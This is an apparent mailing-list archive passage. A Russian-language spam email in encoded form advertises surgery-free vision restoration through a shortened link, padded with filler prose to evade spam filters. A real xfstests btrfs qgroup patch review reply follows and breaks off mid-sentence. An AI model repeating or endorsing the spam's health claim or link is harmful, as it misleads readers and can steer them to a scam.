12] X-AntiAbuse: Sender Address Domain - wanadoo.fr X-Get-Message-Sender-Via: srv05.drhosting.cl: authenticated_id: prensa@demente.cl X-Barracuda-Connect: srv05.drhosting.cl[190.153.249.123] X-Barracuda-Start-Time: 1394493687 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.81 X-Barracuda-Spam-Status: No, SCORE=1.81 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_INVIS_TEXT_2K, BSF_SC0_TG035a, BSF_SC0_TG163d, HTML_FONT_LOW_CONTRAST, HTML_MESSAGE, PLING_PLING, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3772 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.54 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar to background 0.00 HTML_MESSAGE BODY: HTML included in message 0.46 PLING_PLING Subject has lots of exclamation marks 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.00 BSF_SC0_TG035a Message contains invalid style definition 0.10 BSF_SC0_INVIS_TEXT_2K Custom Rule BSF_SC0_INVIS_TEXT_2K 0.50 BSF_SC0_TG163d Custom Rule TG163d ------------39BDA94AFCFB588 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C1=E5=E7=EE=EF=E5=F0=E0=F2=E8=E2=ED=EE=E5 =E2=EE=E7=F0=EE=E6=E4=E5=ED=FC= =E5 =E7=F0=E5=ED=E8=FF =E7=E0 1=CE =E4=ED=E5=E9! =D5=EE=F2=E8=F2=E5 =F3=E7=ED=E0=F2=FC =EF=EE=E4=F0=EE=E1=ED=EE=F1=F2=E8..= . http://goo.gl/md4A6T=20 - =C2=E5=EB=E8=EA=E0=FF =EF=EE=EA=EE=F0=E8=F2=E5=EB=FC=ED=E8=F6=E0 =EE=E1= =EE=F0=EE=F2=ED=E5=E9! - =EF=F0=EE=EA=EE=EC=EC=E5=ED=F2=E8=F0=EE=E2=E0=EB= =EC=EE=E5 =EF=EE=FF=E2=EB=E5=ED=E8=E5 =C2=E8=EA=F2=EE=F0. - =CD=E5=F3=E6= =E5=EB=E8 =EE=EF=FF=F2=FC =E2=F1=FE =ED=EE=F7=FC =E3=EB=E0=E7 =ED=E5 =F1=EE= =EC=EA=ED=F3=EB=E0?=20 - =C1=E5=F1=EF=EE=EB=E5=E7=ED=EE, - =EF=EE=FF=F1=ED=E8=EB=E0 =FF. - =DD=F2= =E0 =F2=E2=E0=F0=FC =F1=EE=E2=E5=F0=F8=E5=ED=ED=EE =ED=E5 =F0=E5=E0=E3=E8= =F0=F3=E5=F2 =ED=E0 =EC=E0=E3=E8=F7=E5=F1=EA=EE=E5 =E2=EE=E7=E4=E5=E9=F1=F2= =E2=E8=E5. =CE=ED=EE =EE=F2=F0=E0=E6=E0=E5=F2=F1=FF =EE=F2 =E2=E0=F1=E8=EB= =E8=F1=EA=E0, =EA=E0=EA =EE=F2 =E7=E5=F0=EA=E0=EB=E0. =CC=EE=E6=ED=EE =E7= =E0=E4=E5=F2=FC =F1=E2=EE=E8=F5.=20 =CD=E0 =EC=E5=ED=FF =F3=F1=F2=E0=E2=E8=EB=E8=F1=FC =EA=E0=EA =ED=E0 =ED=E5= =ED=EE=F0=EC=E0=EB=FC=ED=F3=FE. =CA=EE=F0=EE=EB=E5=E2=E8=F7 =F1 =EE=F1=F3= =E6=E4=E5=ED=E8=E5=EC, =CA=E0=F9=E5=E9 =F3=E4=E8=E2=EB=E5=ED=ED=EE. =DF =F1= =EC=F3=F2=E8=EB=E0=F1=FC =E8 =EF=F0=E8=EA=F3=F1=E8=EB=E0 =FF=E7=FB=EA.=20 =CF=EE=E3=F0=EE=EC, =EA=EE=F2=EE=F0=FB=E9 =EC=FB =F3=F1=F2=F0=EE=E8=EB=E8= , =ED=E5 =EF=EE=E4=E4=E0=E2=E0=EB=F1=FF =ED=E8=EA=E0=EA=EE=EC=F3 =EE=EF=E8= =F1=E0=ED=E8=FE. =CF=E5=F0=E5=E2=E5=F0=ED=F3=F2=FB=E5 =F1=F2=F3=EB=FC=FF = =E2=E0=EB=FF=FE=F2=F1=FF =EA=E2=E5=F0=F5=F3 =ED=EE=E6=EA=E0=EC=E8, =E2=E5= =F1=FC =EF=EE=EB =F3=F1=E5=FF=ED =EE=F1=F2=E0=F2=EA=E0=EC=E8 =E5=E4=FB =E2= =EF=E5=F0=E5=EC=E5=F8=EA=F3 =F1 =EE=F1=EA=EE=EB=EA=E0=EC=E8 =F0=E0=E7=E1=E8= =F2=EE=E9 =EF=EE=F1=F3=E4=FB, =EF=EE =F6=E5=ED=F2=F0=F3 =F1=F2=EE=EB=E0 =F2= =FF=ED=E5=F2=F1=FF =F0=EE=E2=ED=E0=FF =F7=E8=F1=F2=E0=FF =EF=EE=EB=EE=F1=E0= , =EF=EE =EA=F0=E0=FE =EA=EE=F2=EE=F0=EE=E9 =E2=EE=E7=E2=FB=F8=E0=FE=F2=F1= =FF =EA=F3=F7=EA=E8 =ED=E5 =EF=EE=E4=E4=E0=FE=F9=E8=F5=F1=FF =F3=E6=E5 =EA= =EB=E0=F1=F1=E8=F4=E8=EA=E0=F6=E8=E8 =E1=EB=FE=E4, =E8 =EB=E8=F8=FC =EF=EE= =E8=F5 =EE=F2=E4=E5=EB=FC=ED=FB=EC =F4=F0=E0=E3=EC=E5=ED=F2=E0=EC =EC=EE= =E6=ED=EE =EE=EF=F0=E5=E4=E5=EB=E8=F2=FC =EF=F0=E8=E1=EB=E8=E7=E8=F2=E5=EB= =FC=ED=EE=E5 =EC=E5=ED=FE. =D2=EE=EB=FC=EA=EE =E3=F3=F1=FC =EE=F1=F2=E0=EB= =F1=FF =F6=E5=EB =E8 =ED=E5=E2=F0=E5=E4=E8=EC. =CD=E0 =EC=E5=F1=F2=E5 =CA= =E0=F9=E5=FF =FF =E1=FB =E7=E0 =F2=E0=EA=EE=E5 =E2=FB=EA=E8=ED=F3=EB=E0 =ED= =E0=F1 =E2 =F2=EE =E6=E5 =EE=EA=ED=EE, =E2 =EA=EE=F2=EE=F0=EE=E5 =EC=FB =E8= =EC=E5=EB=E8 =ED=E5=EE=F1=F2=EE=F0=EE=E6=ED=EE=F1=F2=FC =E2=EB=E5=F2=E5=F2= =FC, =ED=EE =EE=ED =EF=EE=EA=E0 =EF=EE=F1=F2=F3=EF=E8=EB =E1=EE=EB=E5=E5 = =E3=F3=EC=E0=ED=ED=EE.=20 =C8 =F2=EE=EB=FC=EA=EE =EA=EE=E3=E4=E0 =FF =EF=EE=EB=ED=EE=F1=F2=FC=FE =F3= =F1=EF=EE=EA=EE=E8=EB=E0=F1=FC =E8 =EF=F0=E8=F8=EB=E0 =EA =E2=FB=E2=EE=E4= =F3, =F7=F2=EE =ED=E5 =EF=F0=E5=E4=F1=F2=E0=E2=EB=FF=FE =ED=E8=EA=E0=EA=EE= =E9 =F3=E3=F0=EE=E7=FB =E4=EB=FF =EE=EA=F0=F3=E6=E0=FE=F9=E8=F5, =FF =ED=E0= =EF=F0=E0=E2=E8=EB=E0=F1=FC =E2 =F1=F2=EE=F0=EE=ED=F3 =E7=E0=EC=EA=E0. =CB= =EE=F8=E0=E4=FC =EE=F2 =EC=E5=ED=FF =F3=E1=E5=E6=E0=EB=E0 =E2 =EF=E5=F0=E2= =FB=E5 =E6=E5 =ED=E5=F1=EA=EE=EB=FC=EA=EE =EC=E8=ED=F3=F2, =E8=F1=EF=F3=E3= =E0=E2=F8=E8=F1=FC =EC=EE=E5=E3=EE =EF=F0=E0=E2=E5=E4=ED=EE=E3=EE =E8 =ED= =E5 =F1=EE=E2=F1=E5=EC =ED=EE=F0=EC=E0=EB=FC=ED=EE=E3=EE, =E2 =E5=E5 =EF=EE= =ED=E8=EC=E0=ED=E8=E8, =E3=ED=E5=E2=E0, =EF=EE=FD=F2=EE=EC=F3 =EF=F0=E8=F8= =EB=EE=F1=FC =F8=EB=E5=EF=E0=F2=FC =EF=E5=F8=EA=EE=EC. =CD=E8=F7=E5=E3=EE= =F3=E4=E8=E2=E8=F2=E5=EB=FC=ED=EE=E3=EE, =ED=E5 =F7=E0=F1=F2=EE =E2=E5=E4= =FC=EC=FB =F2=E0=EA =E8=E7 =F1=E5=E1=FF =E2=FB=F5=EE=E4=FF=F2. =DF =E5=E5= =EC=EE=E3=EB=E0 =EF=EE=ED=FF=F2=FC.=20 - =DD=F2=EE =F1=E2=EE=E8, - =EA=EE=F0=EE=F2=EA=EE =E1=F0=EE=F1=E8=EB =EC=ED= =E5 =EA=ED=FF=E7=FC, =ED=EE =FF =E8 =F1=E0=EC=E0 =F3=E6=E5 =F3=E2=E8=E4=E5= =EB=E0 =F1=EF=E5=F8=E0=F9=E5=E3=EE =EA =ED=E0=EC =D1=F2=E5=EF=E0=ED=E0.=20 =CF=F0=E5=E8=EC=F3=F9=E5=F1=F2=E2=EE =F2=E0=EA =F3=EF=EE=F0=ED=EE =F3=E4=E8= =F0=E0=E2=F8=E5=E3=EE =EE=F2 =EC=E5=ED=FF =F8=EF=E8=EE=ED=E0 =E1=FB=EB=EE= =E2 =F2=EE=EC, =F7=F2=EE =EE=ED, =EF=EE=F5=EE=E6=E5, =ED=E5=EF=EB=EE=F5=EE= =EE=F0=E8=E5=ED=F2=E8=F0=EE=E2=E0=EB=F1=FF =E2 =FD=F2=EE=EC =EF=EE=E4=E7= =E5=EC=ED=EE=EC =EB=E0=E1=E8=F0=E8=ED=F2=E5, =E0 =FF-=F2=EE =EA=E0=EA =F0= =E0=E7 =ED=E5=F2. =CE=E1=F1=EB=E5=E4=EE=E2=E0=ED=E8=E5 =EA=E0=EC=E5=ED=ED= =EE=E3=EE =EC=E5=F8=EA=E0 =ED=E8=F7=E5=E3=EE =EC=ED=E5 =ED=E5 =E4=E0=EB=EE= , =EA=F0=EE=EC=E5 =E5=F9=E5 =F2=F0=E5=F5 =EA=EE=F0=E8=E4=EE=F0=EE=E2, =F0= =E0=F1=F5=EE=E4=FF=F9=E8=F5=F1=FF =E2 =F0=E0=E7=ED=FB=E5 =F1=F2=EE=F0=EE=ED= =FB. =C2 =EE=E4=ED=EE=EC =E8=E7 =ED=E8=F5 =F7=F2=EE-=F2=EE =EF=E8=F1=EA=ED= =F3=EB=EE-=F1=EA=F0=E8=EF=ED=F3=EB=EE, =EF=EE=F2=EE=EC =F8=F3=F0=F8=E0=ED= =F3=EB=EE =E8 =EE=EA=EE=ED=F7=E0=F2=E5=EB=FC=ED=EE =E7=E0=F2=E8=F5=EB=EE.= =20 =CA=F1=F2=E0=F2=E8, =EE =EC=FB=F8=E0=F5. =CD=E0=E4=E5=FE=F1=FC, =EC=E5=ED= =FF =ED=E5 =F1=EE=E1=E8=F0=E0=FE=F2=F1=FF =E8=EC=E8 =EF=FB=F2=E0=F2=FC? =C2= =E5=E4=FC =FD=F2=EE =E5=E4=E8=ED=F1=F2=E2=E5=ED=ED=EE=E5, =F7=E5=E3=EE =FF= =EE=F7=E5=ED=FC =F1=E8=EB=FC=ED=EE =E1=EE=FE=F1=FC. =C4=EE=EC=E0 =F1 =ED= =E8=EC=E8 =F3=F1=EF=E5=F8=ED=EE =D1=E5=ED=FC=EA=E0 =E1=EE=F0=E5=F2=F1=FF,= =EF=EE=FD=F2=EE=EC=F3 =E1=E5=F1=EF=EE=EA=EE=E8=F2=FC=F1=FF =ED=E5 =EE =F7= =E5=EC. =CD=EE =E7=E4=E5=F1=FC-=F2=EE =F2=EE=F7=ED=EE =E4=EE =ED=E8=F5 =E4= =E5=EB=E0 =ED=E8=EA=EE=EC=F3 =ED=E5=F2. =C1=E5=E3=EB=FB=E9 =E2=E7=E3=EB=FF= =E4 =EF=EE =F3=E3=EB=E0=EC =ED=E0=EB=E8=F7=E8=FF =E3=F0=FB=E7=F3=ED=EE=E2= =ED=E5 =EE=E1=ED=E0=F0=F3=E6=E8=EB.=20 =DF =E2=F1=E5-=F2=E0=EA=E8 =ED=E5 =E2=FB=E4=E5=F0=E6=E0=EB=E0 =E8 =EF=F0=FB= =F1=ED=F3=EB=E0. =C2=E8=EA=F2=EE=F0 =EA=E8=ED=F3=EB =ED=E0 =EC=E5=ED=FF =F3= =E1=E8=E9=F1=F2=E2=E5=ED=ED=FB=E9 =E2=E7=E3=EB=FF=E4 =E8 =EF=EE=E3=F0=EE=E7= =E8=EB =EA=F3=EB=E0=EA=EE=EC, =E4=E0=EB=E5=EA=EE =ED=E5 =EC=E0=EB=E5=ED=FC= =EA=E8=EC. =CF=EE =E5=E3=EE =EC=ED=E5=ED=E8=FE, =FF =E4=EE=EB=E6=ED=E0 =E1= =FB=EB=E0 =E2=EF=E5=F7=E0=F2=EB=E8=F2=FC=F1=FF =E8 =E6=F3=F2=EA=EE =E8=F1= =EF=F3=E3=E0=F2=FC=F1=FF, =ED=EE =F3 =EC=E5=ED=FF =EF=EE=F7=E5=EC=F3-=F2=EE= =ED=E5 =EF=EE=EB=F3=F7=E8=EB=EE=F1=FC.=20 - =CF=E5=F0=E5=E2=FF=E7=EA=F3 =ED=F3=E6=ED=EE =F1=E4=E5=EB=E0=F2=FC =E2=E5= =F7=E5=F0=EE=EC. =CE=E1=FF=E7=E0=F2=E5=EB=FC=ED=EE. ------------39BDA94AFCFB588 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C1=E5=E7=EE=EF=E5=F0=E0=F2=E8=E2=ED=EE=E5 =E2=EE=E7=F0=EE=E6= =E4=E5=ED=FC=E5 =E7=F0=E5=ED=E8=FF =E7=E0 1=CE =E4=ED=E5=E9!
 
 
 
 
- =C2=E5=EB=E8=EA=E0=FF = =EF=EE=EA=EE=F0=E8=F2=E5=EB=FC=ED=E8=F6=E0 =EE=E1=EE=F0=EE=F2=ED=E5=E9! -= =EF=F0=EE=EA=EE=EC=EC=E5=ED=F2=E8=F0=EE=E2=E0=EB =EC=EE=E5 =EF=EE=FF=E2=EB= =E5=ED=E8=E5 =C2=E8=EA=F2=EE=F0. - =CD=E5=F3=E6=E5=EB=E8 =EE=EF=FF=F2=FC = =E2=F1=FE =ED=EE=F7=FC =E3=EB=E0=E7 =ED=E5 =F1=EE=EC=EA=ED=F3=EB=E0?
- =C1=E5=F1=EF=EE=EB=E5=E7= =ED=EE, - =EF=EE=FF=F1=ED=E8=EB=E0 =FF. - =DD=F2=E0 =F2=E2=E0=F0=FC =F1=EE= =E2=E5=F0=F8=E5=ED=ED=EE =ED=E5 =F0=E5=E0=E3=E8=F0=F3=E5=F2 =ED=E0 =EC=E0= =E3=E8=F7=E5=F1=EA=EE=E5 =E2=EE=E7=E4=E5=E9=F1=F2=E2=E8=E5. =CE=ED=EE =EE= =F2=F0=E0=E6=E0=E5=F2=F1=FF =EE=F2 =E2=E0=F1=E8=EB=E8=F1=EA=E0, =EA=E0=EA= =EE=F2 =E7=E5=F0=EA=E0=EB=E0. =CC=EE=E6=ED=EE =E7=E0=E4=E5=F2=FC =F1=E2=EE= =E8=F5.
=CD=E0 =EC=E5=ED=FF =F3=F1= =F2=E0=E2=E8=EB=E8=F1=FC =EA=E0=EA =ED=E0 =ED=E5=ED=EE=F0=EC=E0=EB=FC=ED=F3= =FE. =CA=EE=F0=EE=EB=E5=E2=E8=F7 =F1 =EE=F1=F3=E6=E4=E5=ED=E8=E5=EC, =CA=E0= =F9=E5=E9 =F3=E4=E8=E2=EB=E5=ED=ED=EE. =DF =F1=EC=F3=F2=E8=EB=E0=F1=FC =E8= =EF=F0=E8=EA=F3=F1=E8=EB=E0 =FF=E7=FB=EA.
=CF=EE=E3=F0=EE=EC, =EA=EE= =F2=EE=F0=FB=E9 =EC=FB =F3=F1=F2=F0=EE=E8=EB=E8, =ED=E5 =EF=EE=E4=E4=E0=E2= =E0=EB=F1=FF =ED=E8=EA=E0=EA=EE=EC=F3 =EE=EF=E8=F1=E0=ED=E8=FE. =CF=E5=F0= =E5=E2=E5=F0=ED=F3=F2=FB=E5 =F1=F2=F3=EB=FC=FF =E2=E0=EB=FF=FE=F2=F1=FF =EA= =E2=E5=F0=F5=F3 =ED=EE=E6=EA=E0=EC=E8, =E2=E5=F1=FC =EF=EE=EB =F3=F1=E5=FF= =ED =EE=F1=F2=E0=F2=EA=E0=EC=E8 =E5=E4=FB =E2=EF=E5=F0=E5=EC=E5=F8=EA=F3 = =F1 =EE=F1=EA=EE=EB=EA=E0=EC=E8 =F0=E0=E7=E1=E8=F2=EE=E9 =EF=EE=F1=F3=E4=FB= , =EF=EE =F6=E5=ED=F2=F0=F3 =F1=F2=EE=EB=E0 =F2=FF=ED=E5=F2=F1=FF =F0=EE=E2= =ED=E0=FF =F7=E8=F1=F2=E0=FF =EF=EE=EB=EE=F1=E0, =EF=EE =EA=F0=E0=FE =EA=EE= =F2=EE=F0=EE=E9 =E2=EE=E7=E2=FB=F8=E0=FE=F2=F1=FF =EA=F3=F7=EA=E8 =ED=E5 = =EF=EE=E4=E4=E0=FE=F9=E8=F5=F1=FF =F3=E6=E5 =EA=EB=E0=F1=F1=E8=F4=E8=EA=E0= =F6=E8=E8 =E1=EB=FE=E4, =E8 =EB=E8=F8=FC =EF=EE =E8=F5 =EE=F2=E4=E5=EB=FC= =ED=FB=EC =F4=F0=E0=E3=EC=E5=ED=F2=E0=EC =EC=EE=E6=ED=EE =EE=EF=F0=E5=E4=E5= =EB=E8=F2=FC =EF=F0=E8=E1=EB=E8=E7=E8=F2=E5=EB=FC=ED=EE=E5 =EC=E5=ED=FE. = =D2=EE=EB=FC=EA=EE =E3=F3=F1=FC =EE=F1=F2=E0=EB=F1=FF =F6=E5=EB =E8 =ED=E5= =E2=F0=E5=E4=E8=EC. =CD=E0 =EC=E5=F1=F2=E5 =CA=E0=F9=E5=FF =FF =E1=FB =E7= =E0 =F2=E0=EA=EE=E5 =E2=FB=EA=E8=ED=F3=EB=E0 =ED=E0=F1 =E2 =F2=EE =E6=E5 = =EE=EA=ED=EE, =E2 =EA=EE=F2=EE=F0=EE=E5 =EC=FB =E8=EC=E5=EB=E8 =ED=E5=EE=F1= =F2=EE=F0=EE=E6=ED=EE=F1=F2=FC =E2=EB=E5=F2=E5=F2=FC, =ED=EE =EE=ED =EF=EE= =EA=E0 =EF=EE=F1=F2=F3=EF=E8=EB =E1=EE=EB=E5=E5 =E3=F3=EC=E0=ED=ED=EE.
=C8 =F2=EE=EB=FC=EA=EE =EA= =EE=E3=E4=E0 =FF =EF=EE=EB=ED=EE=F1=F2=FC=FE =F3=F1=EF=EE=EA=EE=E8=EB=E0=F1= =FC =E8 =EF=F0=E8=F8=EB=E0 =EA =E2=FB=E2=EE=E4=F3, =F7=F2=EE =ED=E5 =EF=F0= =E5=E4=F1=F2=E0=E2=EB=FF=FE =ED=E8=EA=E0=EA=EE=E9 =F3=E3=F0=EE=E7=FB =E4=EB= =FF =EE=EA=F0=F3=E6=E0=FE=F9=E8=F5, =FF =ED=E0=EF=F0=E0=E2=E8=EB=E0=F1=FC= =E2 =F1=F2=EE=F0=EE=ED=F3 =E7=E0=EC=EA=E0. =CB=EE=F8=E0=E4=FC =EE=F2 =EC= =E5=ED=FF =F3=E1=E5=E6=E0=EB=E0 =E2 =EF=E5=F0=E2=FB=E5 =E6=E5 =ED=E5=F1=EA= =EE=EB=FC=EA=EE =EC=E8=ED=F3=F2, =E8=F1=EF=F3=E3=E0=E2=F8=E8=F1=FC =EC=EE= =E5=E3=EE =EF=F0=E0=E2=E5=E4=ED=EE=E3=EE =E8 =ED=E5 =F1=EE=E2=F1=E5=EC =ED= =EE=F0=EC=E0=EB=FC=ED=EE=E3=EE, =E2 =E5=E5 =EF=EE=ED=E8=EC=E0=ED=E8=E8, =E3= =ED=E5=E2=E0, =EF=EE=FD=F2=EE=EC=F3 =EF=F0=E8=F8=EB=EE=F1=FC =F8=EB=E5=EF= =E0=F2=FC =EF=E5=F8=EA=EE=EC. =CD=E8=F7=E5=E3=EE =F3=E4=E8=E2=E8=F2=E5=EB= =FC=ED=EE=E3=EE, =ED=E5 =F7=E0=F1=F2=EE =E2=E5=E4=FC=EC=FB =F2=E0=EA =E8=E7= =F1=E5=E1=FF =E2=FB=F5=EE=E4=FF=F2. =DF =E5=E5 =EC=EE=E3=EB=E0 =EF=EE=ED= =FF=F2=FC.
- =DD=F2=EE =F1=E2=EE=E8= , - =EA=EE=F0=EE=F2=EA=EE =E1=F0=EE=F1=E8=EB =EC=ED=E5 =EA=ED=FF=E7=FC, =ED= =EE =FF =E8 =F1=E0=EC=E0 =F3=E6=E5 =F3=E2=E8=E4=E5=EB=E0 =F1=EF=E5=F8=E0=F9= =E5=E3=EE =EA =ED=E0=EC =D1=F2=E5=EF=E0=ED=E0.
=CF=F0=E5=E8=EC=F3=F9=E5= =F1=F2=E2=EE =F2=E0=EA =F3=EF=EE=F0=ED=EE =F3=E4=E8=F0=E0=E2=F8=E5=E3=EE = =EE=F2 =EC=E5=ED=FF =F8=EF=E8=EE=ED=E0 =E1=FB=EB=EE =E2 =F2=EE=EC, =F7=F2= =EE =EE=ED, =EF=EE=F5=EE=E6=E5, =ED=E5=EF=EB=EE=F5=EE =EE=F0=E8=E5=ED=F2=E8= =F0=EE=E2=E0=EB=F1=FF =E2 =FD=F2=EE=EC =EF=EE=E4=E7=E5=EC=ED=EE=EC =EB=E0= =E1=E8=F0=E8=ED=F2=E5, =E0 =FF-=F2=EE =EA=E0=EA =F0=E0=E7 =ED=E5=F2. =CE=E1= =F1=EB=E5=E4=EE=E2=E0=ED=E8=E5 =EA=E0=EC=E5=ED=ED=EE=E3=EE =EC=E5=F8=EA=E0= =ED=E8=F7=E5=E3=EE =EC=ED=E5 =ED=E5 =E4=E0=EB=EE, =EA=F0=EE=EC=E5 =E5=F9= =E5 =F2=F0=E5=F5 =EA=EE=F0=E8=E4=EE=F0=EE=E2, =F0=E0=F1=F5=EE=E4=FF=F9=E8= =F5=F1=FF =E2 =F0=E0=E7=ED=FB=E5 =F1=F2=EE=F0=EE=ED=FB. =C2 =EE=E4=ED=EE=EC= =E8=E7 =ED=E8=F5 =F7=F2=EE-=F2=EE =EF=E8=F1=EA=ED=F3=EB=EE-=F1=EA=F0=E8=EF= =ED=F3=EB=EE, =EF=EE=F2=EE=EC =F8=F3=F0=F8=E0=ED=F3=EB=EE =E8 =EE=EA=EE=ED= =F7=E0=F2=E5=EB=FC=ED=EE =E7=E0=F2=E8=F5=EB=EE.
=CA=F1=F2=E0=F2=E8, =EE = =EC=FB=F8=E0=F5. =CD=E0=E4=E5=FE=F1=FC, =EC=E5=ED=FF =ED=E5 =F1=EE=E1=E8=F0= =E0=FE=F2=F1=FF =E8=EC=E8 =EF=FB=F2=E0=F2=FC? =C2=E5=E4=FC =FD=F2=EE =E5=E4= =E8=ED=F1=F2=E2=E5=ED=ED=EE=E5, =F7=E5=E3=EE =FF =EE=F7=E5=ED=FC =F1=E8=EB= =FC=ED=EE =E1=EE=FE=F1=FC. =C4=EE=EC=E0 =F1 =ED=E8=EC=E8 =F3=F1=EF=E5=F8=ED= =EE =D1=E5=ED=FC=EA=E0 =E1=EE=F0=E5=F2=F1=FF, =EF=EE=FD=F2=EE=EC=F3 =E1=E5= =F1=EF=EE=EA=EE=E8=F2=FC=F1=FF =ED=E5 =EE =F7=E5=EC. =CD=EE =E7=E4=E5=F1=FC= -=F2=EE =F2=EE=F7=ED=EE =E4=EE =ED=E8=F5 =E4=E5=EB=E0 =ED=E8=EA=EE=EC=F3 = =ED=E5=F2. =C1=E5=E3=EB=FB=E9 =E2=E7=E3=EB=FF=E4 =EF=EE =F3=E3=EB=E0=EC =ED= =E0=EB=E8=F7=E8=FF =E3=F0=FB=E7=F3=ED=EE=E2 =ED=E5 =EE=E1=ED=E0=F0=F3=E6=E8= =EB.
=DF =E2=F1=E5-=F2=E0=EA=E8= =ED=E5 =E2=FB=E4=E5=F0=E6=E0=EB=E0 =E8 =EF=F0=FB=F1=ED=F3=EB=E0. =C2=E8=EA= =F2=EE=F0 =EA=E8=ED=F3=EB =ED=E0 =EC=E5=ED=FF =F3=E1=E8=E9=F1=F2=E2=E5=ED= =ED=FB=E9 =E2=E7=E3=EB=FF=E4 =E8 =EF=EE=E3=F0=EE=E7=E8=EB =EA=F3=EB=E0=EA= =EE=EC, =E4=E0=EB=E5=EA=EE =ED=E5 =EC=E0=EB=E5=ED=FC=EA=E8=EC. =CF=EE =E5= =E3=EE =EC=ED=E5=ED=E8=FE, =FF =E4=EE=EB=E6=ED=E0 =E1=FB=EB=E0 =E2=EF=E5=F7= =E0=F2=EB=E8=F2=FC=F1=FF =E8 =E6=F3=F2=EA=EE =E8=F1=EF=F3=E3=E0=F2=FC=F1=FF= , =ED=EE =F3 =EC=E5=ED=FF =EF=EE=F7=E5=EC=F3-=F2=EE =ED=E5 =EF=EE=EB=F3=F7= =E8=EB=EE=F1=FC.
- =CF=E5=F0=E5=E2=FF=E7=EA= =F3 =ED=F3=E6=ED=EE =F1=E4=E5=EB=E0=F2=FC =E2=E5=F7=E5=F0=EE=EC. =CE=E1=FF= =E7=E0=F2=E5=EB=FC=ED=EE.
- =D2=FB =E2=EE=EE=E1=F9=E5 =F5=EE=F2=FC =F1=EF=E0=EB? ------------39BDA94AFCFB588-- From wangsl.fnst@cn.fujitsu.com Mon Mar 10 20:21:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3059A7F3F for ; Mon, 10 Mar 2014 20:21:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1A8FAC004 for ; Mon, 10 Mar 2014 18:21:54 -0700 (PDT) X-ASG-Debug-ID: 1394500908-04bdf076f017a2b0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id khWj2x4NHYn9sDdh for ; Mon, 10 Mar 2014 18:21:52 -0700 (PDT) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.97,627,1389715200"; d="scan'208";a="9675118" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 11 Mar 2014 09:17:53 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s2B1LaYh017132; Tue, 11 Mar 2014 09:21:43 +0800 Received: from [10.167.226.104] ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014031109185426-542480 ; Tue, 11 Mar 2014 09:18:54 +0800 Message-ID: <531E64AB.60204@cn.fujitsu.com> Date: Tue, 11 Mar 2014 09:19:39 +0800 From: Wang Shilong User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130612 Thunderbird/17.0.6 MIME-Version: 1.0 To: Josef Bacik CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v2 1/3] xfstests/btrfs: add qgroup rescan stress test References: <1394423051-17356-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <531E15EA.9020903@fb.com> X-ASG-Orig-Subj: Re: [PATCH v2 1/3] xfstests/btrfs: add qgroup rescan stress test In-Reply-To: <531E15EA.9020903@fb.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/03/11 09:18:54, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/03/11 09:19:02, Serialize complete at 2014/03/11 09:19:02 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1394500912 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3776 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 03/11/2014 03:43 AM, Josef Bacik wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On 03/09/2014 11:44 PM, Wang Shilong wrote: >> Test flow is to run fsstress after triggering quota rescan. the >> ruler is simple, we just remove all files and directories, sync >> filesystem and see if qgroup's ref and excl are nodesize. >> >> Signed-off-by: Wang Shilong --- >> v1->v2: switch into new helper _run_btrfs_util_prog() --- >> tests/btrfs/041 | 76 >> +++++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/041.out | 3 +++ tests/btrfs/group | 1 + 3 files >> changed, 80 insertions(+) create mode 100644 tests/btrfs/041 create >> mode 100644 tests/btrfs/041.out >> > So this doesn't pass for me but it's not because we're broken, it's > because the test is broken. What you should do is run sync after you > do the rm, and then capture the output of btrfs qgroup show, and then > do the rescan and 